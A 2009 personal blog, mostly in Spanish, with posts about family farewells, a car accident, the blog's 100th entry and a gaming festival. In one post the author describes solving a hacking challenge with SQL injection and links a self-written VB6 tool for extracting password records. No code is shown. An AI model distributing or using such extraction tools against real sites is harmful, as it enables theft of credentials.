Every things got positive side and negative side, the people only see the negatives side when they got problems, and that is the easier and irrational way.

I mean...
Cualquier cosa que pasa en la vida tiene su pro y su contra, absolutamente todas, aunque algunas cuesta verla más que otras, y si

intentas mirarla desde otras perspetivas de lo normal te resultará más fácil de ver sus otras caras, y verás cómo uno de los resultados te alegrará.

Saludo, Good Luck !!
Read more »

martes, 25 de agosto de 2009

Hasta luego

No es un Adios sino un hasta luego.
Siempre hay un inicio y un fin para todos.
Después de 19 años juntos, siempre tan pegado, aunque es pesadita, eso sí, muy niña, siempre dice cosas sin pensar [como yo, XD.] y~~~muy tonta [las guapas simpre son las más tontas... XD] pero muy intelignete, claro claro,Xd. En fin, es un poco difícil la despedida, pero después de cada fin llega otro inicio, y eso me alegra.

Buen viaje , good luck,
I'll care for your bear... ¬_¬, don't worry about him, and tech me your english when you are back or when I'm there....
and DON'T call me MOMO please... XD. WORK HARD!!!!!
Read more »

Osito

Con la mudanza le regalaron un peluche de osito a mi hermana y ... ejem, ejem...

De Buzón


Caja vacía...
De Buzón


Se fue la luz...
De Buzón


Un colpe seco por detrás...
De Buzón


y... Le violaron...
De Buzón


o le secuestraron (con 2 bomba routerina)...
De Buzón


u oso bomba (la ultísima bomba fonera)...
De Buzón



Good Luck dears.
Desde Sui's new home, XD
Read more »

martes, 11 de agosto de 2009

死亡诗社

死亡诗社 里抄写的:

"I went to the woods because I wanted to live deliberately.
I wanted to live deep and suck out all the marrow of life!
To put to rout all that was not life....
And not, when I came to die, discover that I had not lived."
-Henry David Thoreau-

我活过,我知道, 我试过,我做过, 没后悔过(有时候 :P)。。。
It was a wrong way but you did.

相信:Beauty, freedom, truth, love. 就够了

吵闹仰慕深夜里
舞步催人想起你
寒心伤身无人比
弃金思念爱着你
-> 烂。。。Shit {¬_¬}! 鸡皮疙瘩的。。。
Read more »

martes, 4 de agosto de 2009

Jo jo jo~ Esto es para recordarlo: Mi primer accidente. :D

jem jem.. Érase un día que iba conduciendo tranquilamente nah, XD, cuando circulaba por el carril derecho de una rotonda de LC un coche quiso salir directamente de la rodonda desde el carril izquierdo y ya está aqui termina la historia se colisionó con el mio, y por supuesto la culpa fue suya así que su seguro tendrá que reparar los daños, jeje ya era hora,XD, ya aprovecho y cambio la parte delentera del coche que está bastante rayada por todos los estaciomientos mal hechos. XD.

Hubo un pequeño susto pero ¡¡¡qué emocionante!!!, XD
Read more »

viernes, 31 de julio de 2009

number 100

Yeah~ Este es el post número 100 de sui90.blogspot.com, bueno un tema para escribir...(es que estoy aburrido,XD). Bueno, en este blog he apredido cosas nuevas, me he desahogado, he compartido los poquitos conocimientos que tengo, he escrito un montón de chorradas, he mejorado mis ortografías y he conseguido decir (o mejor dicho, escritir) cosas que no me atrevo a decirlo en la vida real.
Los ratos agradables escribiendo tutoriales, los ratos emocionales escribiendo poemas y dibujando, las risas y enfado por leer algunos comentarios, todos estos momentos son únicos.
Así que agradezco a los guapitos y a las guapitas lectores por compartir eso momentos conmigo (estando cada uno en su casita). ;)
Read more »

martes, 28 de julio de 2009

Avanzando un escalón más

Intenté terminar un reto hacking propuesto por una página web pero se veía claramente mi escasez de experiencia e información respecto con el tema, lo había empezado unas semanas antes pero lo dejé porque me había metido en un callejón sin salida y no había manera de seguir, pues hoy encontré un tutorial que explicaba las fases e ideología a seguir hasta poder injectar el código SQL correctamente y a partir de allí obtener los registros que queramos.
El autor del tutorial tenía su propio script para la obtención del regitro contraseña, (no sé si lo hizo apropósito o no, pero se veía que tenía errores en los valores obtenidos), entonce me puse a hacer una por mi propia cuenta, tarde o temprano lo necesitaré,XD. Y la manera más facil es utilizando VB6.0 (el pobre, le tengo super abandonado), no está diseñado sólo para esta ocasión sino está mas bien escrita con posiblidad de utilizarla próxima vez sin necesidad de volver a tocar los códigos de nuevo. Y creo que a más de uno le podría ser de utilidad.
Estoy más contento que cuando hice mi primera calculadora propia.. (qué vergüenza de calc.XD).
Depende de su ancho de banda podría tardarmás o menos, en mi caso, tardé 2 min en averiguar un registro de 32 caracteres.

Para l@s curios@s aquí hay una capruta de pantalla.
De programa_VB

Tenía que ponerle un nombre y eso se me da fatal, puse uno cutre, pero no se reían....

Y para l@s interesand@s aquí está el link de descarga:
http://www.megaupload.com/?d=6MLYJPI6
(pruébenlo...)

Y me faltó decir que si uno consigue superar un reto hacking, el propietario del web le hace un regalo(!!), XD, pero en mi caso no quise (tampoco me lo daría) porque seguí un tuto y eso solo vale para aprender y no merece la pena escribir tu nombre allí por logor de otra persona, así que la próxima será!!!
Read more »

domingo, 26 de julio de 2009

Tenerife Lan Party 2009

Hoy fue el ultimo día de TLP 2k9, el año pasado se me fue por los altos y este año casi vuelve a pasar lo mismo, ayer me acordé de él y cómo no, hoy fui a visitarle.
Recién entré y me dirigí directamente en busca de la sala conferencia, que según el folleto habrá un taller de "Inteligencia artificial y lógica en videojuegos", y eso sonaba interesante. Al entrar en una sala bastante grande me sorprendió de los poquitos asistentes que habían, unos diez o quinces, y se me soltó una sonrisa, acordando de una serie (The big bang theory) cuyo habia una situación parecida de risa, tal vez quinces ya son muchos para ellos (XD). A lo ratillo noté que algo raro pasaba con la charla, sólo hablaban de blog y web 2.0, me tenía que haber suponido... Me equivoqué de sala... (GOD...), el que yo quería estaba en la sala 4...

Al salir de la sala, cosas que ya sabía pero me sorprendió de todas maneras, vi visitantes con disfraces, los COSPLAYers, y claro, normal, me puse a reir a carcajada, XD.

Cantar canciones de animes, ir como los personajes de animes eran como si fueran los más normal del mundo, y todos parecían estar felices en su mundo fantasioso.

Animadora:
De TLP 2009


El chico de camiseta blanca me llamó mucha atención...
De TLP 2009



Es sorpredente cómo bailan,XD, me quito el sombrero ante estos señores, no sé si consederarle como valiente por sus intentos de baile o pensar que son unos desvergonzado.(¡Qué baile más sexy,XD!).

Juegos de Rol, street fighter de X década en una pantalla TDT de 32" (qué desperdicio,XD), Guitar Hero,etc y muchas tiendas con venta de productos relacionado con anime.

Recordando
De TLP 2009

Éste señor rejugando juegos de su infancia.

¡Qué maquinita más moderno!
De TLP 2009

No me acuerdo cómo se llamaba esta máquina... tenía descripción al lado pero se me olvidó.

¿En Naruto había este personaje?
De TLP 2009

El mascosta raro que caminaba de un lado a otro sin parar, ya no le ví caminar más después de la foto, creo que eso era lo que pretendía, que le sacara una foto, XD.
¡Y una ninja leyendo un cómic atrás! ...


Por un momento pensé ¿amante de anime entre mis amigos? ... primero de la lista: Fede (sin duda, desde siempre) y Eder (con su naruto y sasuke).
Y de verdad no me sorprendería si estubienran allí, y acerté, allí estaba pero sin Eder, y tenía que sorprenderme de alguna forma, no venía disfrazado.... (qué decepción,XD)

Los jugones
De TLP 2009

Qué desastre son, como si estubieran en sus casa, tumbado, acostado, durmiendo...
se veía Counter por todo lado!!! XD

Ah! por cierto había una guerrilla con la pistolas, lo vi de lejo y no sé si eran de bolas o de pinturas ¿o ninguno de estos dos? sonaba demasiado fuerte para ser de bolas, y no ví manchas de pinturas por ningín lado ¿o son de gomas?, en fin, a Alberto segurísimo le habría encantado estar allí para eso. (Para recibir!!,XD.)

Habría hecho una foto con una COSPLAYer, ay.. pero mi timidez me lo impidió... qué desastre, jaja.

Y qué más puedo decir... las horas pasó volando y salí cotento de allí, fue diverdido. Chachi piluli.

Saludos, Good Luck!
Read more »

 
Powered by Blogger